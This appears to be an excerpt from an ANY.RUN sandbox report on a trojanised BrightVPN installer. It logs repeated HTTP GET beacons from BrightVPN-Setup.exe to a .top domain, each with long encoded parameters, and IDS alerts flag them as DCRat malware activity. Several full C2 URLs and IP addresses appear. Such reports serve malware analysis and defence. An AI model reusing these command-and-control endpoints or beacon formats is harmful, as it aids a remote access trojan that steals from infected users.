http://976435cm.nyashtyan.top/nyashsupport.php?JDXvCnGTK=g3Unz73ay3z35hDEJnaX34gW2xHJ&aa2df8cfca37a52611c833a071110f54=gNkN2MlZGOwUDMzATO5gzYkZzM5ATZhhDO4Y2N2AzN5U2YkRzM0ATM4ITN3UjM4czNxQDNzYzM&7857ef87b7ef1d106cfcf3b205280486=QOmVmMkFDO3IjM3UTM0gTOlFWZ3kDMykjY1AzNlhDOllTO5UGZhN2M&7c8517c92c6ab52822183472d584b425=d1nIzEjYhFzNhJGZzYmMiJDM4gjY2Y2NlJDM5IDO0QDMkJWO5YzY3IWOmJiOiEWNyQWOjFjZmdDOkBTZ3AjMmlTN4kTN0EmMhdzY2MTYiwiIjBTZ2I2YxQmMwQzMhRzM4kTZkR2MmRzN5MGN3YzNjdTO5ETMidDO5IiOiQ2YiBjYilzNjJWO5AjNjV2MhVmM3cTO4QTM1kzN4EDNis3W&323673ac45c6d74610bbe3baae9d64b9=d1nIiojIzkDZzADO0MTY1UWMhlzNyMGN2I2YkdDZihjMjVmZxYjIsIyMxIWYxcTYiR2MmJjYyADO4ImNmdTZyATOygDN0ADZilTO2M2NiljZiojIhVjMklzYxYmZ3gDZwU2NwIjZ5UDO5UDNhJTY3MmNzEmIsIyYwUmNiNWMkJDM0MTY0MDO5UGZkNjZ0cTOjRzN2czY3kTOxEjY3gTOiojIkNmYwImY5czYilTOwYzYlNTYlJzN3kDO0ETN5cDOxQjI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXST9ENFpGT0ElaMNTRqxEMnpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiMTOkNDM4QzMhVTZxEWO3IzY0YjYjR2NkJGOyMWZmFjNiwiI5U2NihjMmBjNjBTYwYTMiV2Y5MDZjRjMyMWNmNWMlljY2UmN2Q2Y4IiOiEWNyQWOjFjZmdDOkBTZ3AjMmlTN4kTN0EmMhdzY2MTYiwiIjBTZ2I2YxQmMwQzMhRzM4kTZkR2MmRzN5MGN3YzNjdTO5ETMidDO5IiOiQ2YiBjYilzNjJWO5AjNjV2MhVmM3cTO4QTM1kzN4EDNis3W
unknown
text
104 b
unknown
3408
BrightVPN-Setup.exe
GET
200
188.114.97.3:80
http://976435cm.nyashtyan.top/nyashsupport.php?JDXvCnGTK=g3Unz73ay3z35hDEJnaX34gW2xHJ&aa2df8cfca37a52611c833a071110f54=gNkN2MlZGOwUDMzATO5gzYkZzM5ATZhhDO4Y2N2AzN5U2YkRzM0ATM4ITN3UjM4czNxQDNzYzM&7857ef87b7ef1d106cfcf3b205280486=QOmVmMkFDO3IjM3UTM0gTOlFWZ3kDMykjY1AzNlhDOllTO5UGZhN2M&9edffb2c5b3d62ab573063a7de2159fe=QX9JSUml2aU1keBpXT1FkaMBTWIh1Y012Y2RGWaRnRtN2R4ZEWVZ1aUVXUupldONjY550Vh5EeGhlekNjYrVzVhhFeGhlNNtWS2k0QhBjRHVVa3lWS1R2MiVHdtJmVKl2Tpd2RkhmQGpVe5ITW6x2RSl2dplUavpWSvJFWZFVMXlVekdlWzZ1RWl2dplUavpWS6JESjJUMXlFbSNTVpdXaJVHZzIWd01mYWpUaPlWUVNVeWJzYWFzVZxmUzUVa3lWS6ljMaBnSIpFaKNDWzZ1VhlnSXllbKl2TplEWapnVWJGaWdEZUp0QMNHeXRWdwpWSuVzVZ1UMXlFbSNTVpdXaJRnRXpFMONDT6Z1RiBnWHlEdG12YulTbjdXOp9kaKl2Tpd2RkhmQWJGaWdEZUp0QMl2a5JGcSdFZCJUeOVzY5FlQClXYsJFSihmVtV1bBlmYKJ0UaVHbHRVd4x2YjlzVhtmVYF1ZjR1Tu1UVRd2cXpFM4dVWspkRLdWVtJmdod0Y2p0MZBXMrlkNJl3YsVjMi9mQzIWeOdVYOp0QMlWSp9UaNhlYo5UbZxGZsl0cJlmYjpESYh3aWFVTCFTVKJVRYNWNDh1Y4ZEWp9maJpXNXpFbKNTWUp0QMlWSqxUM0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiMTOkNDM4QzMhVTZxEWO3IzY0YjYjR2NkJGOyMWZmFjNiwiIhRGMmZ2Y5IGNwMmZ5kTY3I2Y4EmM1EmZlFWZkZTYjFzMiRjY4YTNyIiOiEWNyQWOjFjZmdDOkBTZ3AjMmlTN4kTN0EmMhdzY2MTYiwiIjBTZ2I2YxQmMwQzMhRzM4kTZkR2MmRzN5MGN3YzNjdTO5ETMidDO5IiOiQ2YiBjYilzNjJWO5AjNjV2MhVmM3cTO4QTM1kzN4EDNis3W
unknown
text
104 b
unknown
3408
BrightVPN-Setup.exe
GET
200
188.114.97.3:80
http://976435cm.nyashtyan.top/nyashsupport.php?JDXvCnGTK=g3Unz73ay3z35hDEJnaX34gW2xHJ&aa2df8cfca37a52611c833a071110f54=gNkN2MlZGOwUDMzATO5gzYkZzM5ATZhhDO4Y2N2AzN5U2YkRzM0ATM4ITN3UjM4czNxQDNzYzM&7857ef87b7ef1d106cfcf3b205280486=QOmVmMkFDO3IjM3UTM0gTOlFWZ3kDMykjY1AzNlhDOllTO5UGZhN2M&7c8517c92c6ab52822183472d584b425=d1nIzEjYhFzNhJGZzYmMiJDM4gjY2Y2NlJDM5IDO0QDMkJWO5YzY3IWOmJiOiEWNyQWOjFjZmdDOkBTZ3AjMmlTN4kTN0EmMhdzY2MTYiwiIjBTZ2I2YxQmMwQzMhRzM4kTZkR2MmRzN5MGN3YzNjdTO5ETMidDO5IiOiQ2YiBjYilzNjJWO5AjNjV2MhVmM3cTO4QTM1kzN4EDNis3W&323673ac45c6d74610bbe3baae9d64b9=d1nIiojIzkDZzADO0MTY1UWMhlzNyMGN2I2YkdDZihjMjVmZxYjIsIyMxIWYxcTYiR2MmJjYyADO4ImNmdTZyATOygDN0ADZilTO2M2NiljZiojIhVjMklzYxYmZ3gDZwU2NwIjZ5UDO5UDNhJTY3MmNzEmIsIyYwUmNiNWMkJDM0MTY0MDO5UGZkNjZ0cTOjRzN2czY3kTOxEjY3gTOiojIkNmYwImY5czYilTOwYzYlNTYlJzN3kDO0ETN5cDOxQjI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXST9ENFpGT0ElaMNTRqxEMnpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiMTOkNDM4QzMhVTZxEWO3IzY0YjYjR2NkJGOyMWZmFjNiwiI5U2NihjMmBjNjBTYwYTMiV2Y5MDZjRjMyMWNmNWMlljY2UmN2Q2Y4IiOiEWNyQWOjFjZmdDOkBTZ3AjMmlTN4kTN0EmMhdzY2MTYiwiIjBTZ2I2YxQmMwQzMhRzM4kTZkR2MmRzN5MGN3YzNjdTO5ETMidDO5IiOiQ2YiBjYilzNjJWO5AjNjV2MhVmM3cTO4QTM1kzN4EDNis3W
unknown
text
104 b
unknown
3408
BrightVPN-Setup.exe
GET
200
188.114.97.3:80
http://976435cm.nyashtyan.top/nyashsupport.php?JDXvCnGTK=g3Unz73ay3z35hDEJnaX34gW2xHJ&aa2df8cfca37a52611c833a071110f54=gNkN2MlZGOwUDMzATO5gzYkZzM5ATZhhDO4Y2N2AzN5U2YkRzM0ATM4ITN3UjM4czNxQDNzYzM&7857ef87b7ef1d106cfcf3b205280486=QOmVmMkFDO3IjM3UTM0gTOlFWZ3kDMykjY1AzNlhDOllTO5UGZhN2M&7c8517c92c6ab52822183472d584b425=d1nIzEjYhFzNhJGZzYmMiJDM4gjY2Y2NlJDM5IDO0QDMkJWO5YzY3IWOmJiOiEWNyQWOjFjZmdDOkBTZ3AjMmlTN4kTN0EmMhdzY2MTYiwiIjBTZ2I2YxQmMwQzMhRzM4kTZkR2MmRzN5MGN3YzNjdTO5ETMidDO5IiOiQ2YiBjYilzNjJWO5AjNjV2MhVmM3cTO4QTM1kzN4EDNis3W&323673ac45c6d74610bbe3baae9d64b9=d1nIiojIzkDZzADO0MTY1UWMhlzNyMGN2I2YkdDZihjMjVmZxYjIsIyMxIWYxcTYiR2MmJjYyADO4ImNmdTZyATOygDN0ADZilTO2M2NiljZiojIhVjMklzYxYmZ3gDZwU2NwIjZ5UDO5UDNhJTY3MmNzEmIsIyYwUmNiNWMkJDM0MTY0MDO5UGZkNjZ0cTOjRzN2czY3kTOxEjY3gTOiojIkNmYwImY5czYilTOwYzYlNTYlJzN3kDO0ETN5cDOxQjI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXST9ENFpGT0ElaMNTRqxEMnpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiMTOkNDM4QzMhVTZxEWO3IzY0YjYjR2NkJGOyMWZmFjNiwiI5U2NihjMmBjNjBTYwYTMiV2Y5MDZjRjMyMWNmNWMlljY2UmN2Q2Y4IiOiEWNyQWOjFjZmdDOkBTZ3AjMmlTN4kTN0EmMhdzY2MTYiwiIjBTZ2I2YxQmMwQzMhRzM4kTZkR2MmRzN5MGN3YzNjdTO5ETMidDO5IiOiQ2YiBjYilzNjJWO5AjNjV2MhVmM3cTO4QTM1kzN4EDNis3W
unknown
text
104 b
unknown
3408
BrightVPN-Setup.exe
GET
200
188.114.97.3:80
http://976435cm.nyashtyan.top/nyashsupport.php?JDXvCnGTK=g3Unz73ay3z35hDEJnaX34gW2xHJ&aa2df8cfca37a52611c833a071110f54=gNkN2MlZGOwUDMzATO5gzYkZzM5ATZhhDO4Y2N2AzN5U2YkRzM0ATM4ITN3UjM4czNxQDNzYzM&7857ef87b7ef1d106cfcf3b205280486=QOmVmMkFDO3IjM3UTM0gTOlFWZ3kDMykjY1AzNlhDOllTO5UGZhN2M&7c8517c92c6ab52822183472d584b425=d1nIzEjYhFzNhJGZzYmMiJDM4gjY2Y2NlJDM5IDO0QDMkJWO5YzY3IWOmJiOiEWNyQWOjFjZmdDOkBTZ3AjMmlTN4kTN0EmMhdzY2MTYiwiIjBTZ2I2YxQmMwQzMhRzM4kTZkR2MmRzN5MGN3YzNjdTO5ETMidDO5IiOiQ2YiBjYilzNjJWO5AjNjV2MhVmM3cTO4QTM1kzN4EDNis3W&323673ac45c6d74610bbe3baae9d64b9=d1nIiojIzkDZzADO0MTY1UWMhlzNyMGN2I2YkdDZihjMjVmZxYjIsIyMxIWYxcTYiR2MmJjYyADO4ImNmdTZyATOygDN0ADZilTO2M2NiljZiojIhVjMklzYxYmZ3gDZwU2NwIjZ5UDO5UDNhJTY3MmNzEmIsIyYwUmNiNWMkJDM0MTY0MDO5UGZkNjZ0cTOjRzN2czY3kTOxEjY3gTOiojIkNmYwImY5czYilTOwYzYlNTYlJzN3kDO0ETN5cDOxQjI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXST9ENFpGT0ElaMNTRqxEMnpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiMTOkNDM4QzMhVTZxEWO3IzY0YjYjR2NkJGOyMWZmFjNiwiI5U2NihjMmBjNjBTYwYTMiV2Y5MDZjRjMyMWNmNWMlljY2UmN2Q2Y4IiOiEWNyQWOjFjZmdDOkBTZ3AjMmlTN4kTN0EmMhdzY2MTYiwiIjBTZ2I2YxQmMwQzMhRzM4kTZkR2MmRzN5MGN3YzNjdTO5ETMidDO5IiOiQ2YiBjYilzNjJWO5AjNjV2MhVmM3cTO4QTM1kzN4EDNis3W
unknown
text
104 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
2588
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
3632
BrightVPN-Setup-1.416.561-cea485f2.exe
44.194.147.247:443
perr.brightvpn.com
AMAZON-AES
US
unknown
3408
BrightVPN-Setup.exe
188.114.97.3:80
976435cm.nyashtyan.top
CLOUDFLARENET
NL
unknown

DNS requests

Domain
IP
Reputation
perr.brightvpn.com
  • 44.194.147.247
unknown
976435cm.nyashtyan.top
  • 188.114.97.3
  • 188.114.96.3
unknown

Threats

PID
Process
Class
Message
1080
svchost.exe
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
3408
BrightVPN-Setup.exe
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
3408
BrightVPN-Setup.exe
Potentially Bad Traffic
ET INFO HTTP Request to a *.top domain
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
BrightVPN-Setup-1.388.85.exe